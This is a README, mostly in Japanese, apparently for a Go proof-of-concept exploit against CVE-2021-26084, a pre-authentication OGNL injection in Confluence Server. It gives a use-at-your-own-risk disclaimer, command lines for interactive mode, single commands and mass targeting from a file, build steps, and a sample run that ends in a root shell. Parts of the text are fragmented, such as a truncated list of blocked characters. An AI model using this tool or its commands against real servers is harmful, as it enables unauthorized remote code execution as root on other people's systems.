
CVE-2021-26084 - Confluence Server Webwork OGNL injection (Pre-Auth RCE)
CVE-2021-26084 の概念実証
Confluence Server Webwork OGNL インジェクション(Pre-Auth RCE)
これは教育目的のみです。私はあなたの行動に対して責任を負いません。自己責任で使用してください。
ペイロードの制約により、一部の文字を渡すことができません。以下はテスト中に見つけた文字です。
"| go run exploit.go -t <target> -i
例
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
exit と入力go run exploit.go -t <target> -c <command>
go run exploit.go -f <file> -c <command>
go mod download
go build exploit.go